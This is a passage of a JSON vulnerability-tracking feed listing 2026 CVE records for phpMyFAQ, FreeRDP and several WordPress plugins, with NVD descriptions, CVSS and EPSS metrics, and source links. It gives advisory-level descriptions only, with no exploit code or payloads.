fixes.","publishedAt":"2026-10-17T19:16:29.450Z","updatedAt":"2026-10-18T13:16:35.800Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111884","asOf":"2026-10-18T13:16:35.800Z"},"epss":{"probability":0.00348,"percentile":0.28133,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111884&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111884","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111884","type":"primary","publishedAt":"2026-10-17T19:16:29.450Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111884&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111884, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111882","cveId":"CVE-2026-111882","aliases":[],"kind":"vulnerability","title":"phpMyFAQ 3.2.0-alpha before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains an authentication bypass vulnerability that allows IdP-authenticated users to skip TOTP two-factor...","summary":"phpMyFAQ 3.2.0-alpha before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains an authentication bypass vulnerability that allows IdP-authenticated users to skip TOTP two-factor authentication through the Keycloak and Entra ID SSO callbacks. Attackers holding a valid or phished IdP identity linked to a 2FA-enabled account can complete the OIDC flow and obtain a fully authenticated session, including administrator accounts.","detail":"phpMyFAQ 3.2.0-alpha before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains an authentication bypass vulnerability that allows IdP-authenticated users to skip TOTP two-factor authentication through the Keycloak and Entra ID SSO callbacks. Attackers holding a valid or phished IdP identity linked to a 2FA-enabled account can complete the OIDC flow and obtain a fully authenticated session, including administrator accounts.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T19:16:29.240Z","updatedAt":"2026-10-18T13:16:35.680Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111882","asOf":"2026-10-18T13:16:35.680Z"},"epss":{"probability":0.00387,"percentile":0.32523,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111882&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111882","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111882","type":"primary","publishedAt":"2026-10-17T19:16:29.240Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111882&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111882, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111881","cveId":"CVE-2026-111881","aliases":[],"kind":"vulnerability","title":"FreeRDP from 3.14.1 before 3.32.0 contains an integer underflow in the WinPR BMP writer, where a mismatched stride calculation passes SIZE_MAX - 3 to Stream_Zero for sub-byte...","summary":"FreeRDP from 3.14.1 before 3.32.0 contains an integer underflow in the WinPR BMP writer, where a mismatched stride calculation passes SIZE_MAX - 3 to Stream_Zero for sub-byte images. A malicious RDP clipboard peer can return a crafted 1-bpp BMP processed by clipboard_synthesize_image_format_to_bmp for CF_DIB/CF_DIBV5, crashing the client or causing an out-of-bounds write.","detail":"FreeRDP from 3.14.1 before 3.32.0 contains an integer underflow in the WinPR BMP writer, where a mismatched stride calculation passes SIZE_MAX - 3 to Stream_Zero for sub-byte images. A malicious RDP clipboard peer can return a crafted 1-bpp BMP processed by clipboard_synthesize_image_format_to_bmp for CF_DIB/CF_DIBV5, crashing the client or causing an out-of-bounds write.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T19:16:29.103Z","updatedAt":"2026-10-19T22:17:04.230Z","regions":["Global"],"vendor":null,"product":null,"stacks":["FreeRDP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111881","asOf":"2026-10-19T22:17:04.230Z"},"epss":{"probability":0.00245,"percentile":0.15623,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111881&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111881","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111881","type":"primary","publishedAt":"2026-10-17T19:16:29.103Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111881&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111881, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111880","cveId":"CVE-2026-111880","aliases":[],"kind":"vulnerability","title":"FreeRDP versions from 2.0.0 before 3.32.0 contain a heap out-of-bounds write in the server hash-callback NTLM path that fails to validate the MIC offset.","summary":"FreeRDP versions from 2.0.0 before 3.32.0 contain a heap out-of-bounds write in the server hash-callback NTLM path that fails to validate the MIC offset. Unauthenticated attackers can send a crafted AUTHENTICATE_MESSAGE with a backward session-key offset and MIC offset to write 16 zero bytes beyond the allocation.","detail":"FreeRDP versions from 2.0.0 before 3.32.0 contain a heap out-of-bounds write in the server hash-callback NTLM path that fails to validate the MIC offset. Unauthenticated attackers can send a crafted AUTHENTICATE_MESSAGE with a backward session-key offset and MIC offset to write 16 zero bytes beyond the allocation.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T19:16:28.960Z","updatedAt":"2026-10-19T21:14:14.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows","FreeRDP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111880","asOf":"2026-10-19T21:14:14.150Z"},"epss":{"probability":0.00321,"percentile":0.24822,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111880&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111880","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111880","type":"primary","publishedAt":"2026-10-17T19:16:28.960Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111880&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111880, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109701","cveId":"CVE-2026-109701","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in PAYCOMET PAYCOMET for WooCommerce paytpv-for-woocommerce allows Reflected...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in PAYCOMET PAYCOMET for WooCommerce paytpv-for-woocommerce allows Reflected XSS.This issue affects PAYCOMET for WooCommerce: from n/a through 5.45.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in PAYCOMET PAYCOMET for WooCommerce paytpv-for-woocommerce allows Reflected XSS.This issue affects PAYCOMET for WooCommerce: from n/a through 5.45.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T17:16:28.973Z","updatedAt":"2026-10-19T15:16:45.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109701","asOf":"2026-10-19T15:16:45.150Z"},"epss":{"probability":0.00184,"percentile":0.07953,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109701&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109701","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109701","type":"primary","publishedAt":"2026-10-17T17:16:28.973Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109701&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109701, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110889","cveId":"CVE-2026-110889","aliases":[],"kind":"vulnerability","title":"Generation of Error Message Containing Sensitive Information vulnerability in Gantry Gantry 5 Framework gantry5 allows Retrieve Embedded Sensitive Data.This issue affects Gantry 5...","summary":"Generation of Error Message Containing Sensitive Information vulnerability in Gantry Gantry 5 Framework gantry5 allows Retrieve Embedded Sensitive Data.This issue affects Gantry 5 Framework: from n/a through 5.6.4.","detail":"Generation of Error Message Containing Sensitive Information vulnerability in Gantry Gantry 5 Framework gantry5 allows Retrieve Embedded Sensitive Data.This issue affects Gantry 5 Framework: from n/a through 5.6.4.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T11:16:32.017Z","updatedAt":"2026-10-19T15:16:45.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110889","asOf":"2026-10-19T15:16:45.150Z"},"epss":{"probability":0.00332,"percentile":0.26169,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110889&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110889","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110889","type":"primary","publishedAt":"2026-10-17T11:16:32.017Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110889&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110889, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111110","cveId":"CVE-2026-111110","aliases":[],"kind":"vulnerability","title":"The Payment forms, Buy now buttons, and Invoicing System | GetPaid plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'mmdwqzpoxadd' parameter in all...","summary":"The Payment forms, Buy now buttons, and Invoicing System | GetPaid plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'mmdwqzpoxadd' parameter in all versions up to, and including, 2.8.61 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The required nonce (getpaid_form_nonce) is publicly emitted to all visitors via wp_localize_script as WPInv.formNonce, meaning no authentication or prior nonce leak is needed; the stored payload fires when an administrator views the affected invoice's Payment Form Details metabox.","detail":"The Payment forms, Buy now buttons, and Invoicing System | GetPaid plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'mmdwqzpoxadd' parameter in all versions up to, and including, 2.8.61 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The required nonce (getpaid_form_nonce) is publicly emitted to all visitors via wp_localize_script as WPInv.formNonce, meaning no authentication or prior nonce leak is needed; the stored payload fires when an administrator views the affected invoice's Payment Form Details metabox.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T08:16:28.310Z","updatedAt":"2026-10-19T15:16:45.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111110","asOf":"2026-10-19T15:16:45.150Z"},"epss":{"probability":0.00278,"percentile":0.20035,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111110&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111110","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111110","type":"primary","publishedAt":"2026-10-17T08:16:28.310Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111110&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111110, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100316","cveId":"CVE-2026-100316","aliases":[],"kind":"vulnerability","title":"The European VAT Compliance Assistant for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via CF-IPCountry Header in all versions up to, and...","summary":"The European VAT Compliance Assistant for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via CF-IPCountry Header in all versions up to, and including, 1.36.10 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The malicious header value is persisted verbatim into order post-meta during a guest checkout, meaning no account or authentication is required to plant the payload.","detail":"The European VAT Compliance Assistant for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via CF-IPCountry Header in all versions up to, and including, 1.36.10 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The malicious header value is persisted verbatim into order post-meta during a guest checkout, meaning no account or authentication is required to plant the payload.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T08:16:26.950Z","updatedAt":"2026-10-19T15:16:45.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100316","asOf":"2026-10-19T15:16:45.150Z"},"epss":{"probability":0.00272,"percentile":0.19331,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100316&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100316","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100316","type":"primary","publishedAt":"2026-10-17T08:16:26.950Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100316&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100316, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110384","cveId":"CVE-2026-110384","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Heateor Support Fancy Comments WordPress fancy-facebook-comments allows...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Heateor Support Fancy Comments WordPress fancy-facebook-comments allows Reflected XSS.This issue affects Fancy Comments WordPress: from n/a through 1.2.21.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Heateor Support Fancy Comments WordPress fancy-facebook-comments allows Reflected XSS.This issue affects Fancy Comments WordPress: from n/a through 1.2.21.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T07:16:50.350Z","updatedAt":"2026-10-19T15:16:45.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110384","asOf":"2026-10-19T15:16:45.150Z"},"epss":{"probability":0.00188,"percentile":0.08371,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110384&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110384","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110384","type":"primary","publishedAt":"2026-10-17T07:16:50.350Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110384&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110384, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96660","cveId":"CVE-2026-96660","aliases":[],"kind":"vulnerability","title":"The User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder plugin for WordPress is...","summary":"The User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Checkbox Field Value in all versions up to, and including, 5.2.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The nopriv AJAX action user_registration_user_form_submit reaches ur_process_registration() without nonce validation, meaning any unauthenticated request can reach the vulnerable code path.","detail":"The User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Checkbox Field Value in all versions up to, and including, 5.2.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The nopriv AJAX action user_registration_user_form_submit reaches ur_process_registration() without nonce validation, meaning any unauthenticated request can reach the vulnerable code path.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T04:17:10.537Z","updatedAt":"2026-10-19T15:16:45.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96660","asOf":"2026-10-19T15:16:45.150Z"},"epss":{"probability":0.0023,"percentile":0.13653,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96660&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96660","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96660","type":"primary","publishedAt":"2026-10-17T04:17:10.537Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96660&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96660, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92798","cveId":"CVE-2026-92798","aliases":[],"kind":"vulnerability","title":"The User Registration & Membership plugin for WordPress is vulnerable to Arbitrary Shortcode Execution in versions up to, and including, 5.2.8 This is due to insufficient input...","summary":"The User Registration & Membership plugin for WordPress is vulnerable to Arbitrary Shortcode Execution in versions up to, and including, 5.2.8 This is due to insufficient input sanitization in the 'referrer_url' branch of UR_Smart_Tags::process(), where the attacker-controlled HTTP_REFERER header is only passed through sanitize_text_field() — which does not strip WordPress shortcode delimiters — before being substituted into a Content Restriction message that is subsequently executed via apply_shortcodes()/do_shortcode(). This makes it possible for unauthenticated attackers to execute arbitrary registered shortcodes on any restricted page whose message uses the supported {{referrer_url}} smart tag.","detail":"The User Registration & Membership plugin for WordPress is vulnerable to Arbitrary Shortcode Execution in versions up to, and including, 5.2.8 This is due to insufficient input sanitization in the 'referrer_url' branch of UR_Smart_Tags::process(), where the attacker-controlled HTTP_REFERER header is only passed through sanitize_text_field() — which does not strip WordPress shortcode delimiters — before being substituted into a Content Restriction message that is subsequently executed via apply_shortcodes()/do_shortcode(). This makes it possible for unauthenticated attackers to execute arbitrary registered shortcodes on any restricted page whose message uses the supported {{referrer_url}} smart tag.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 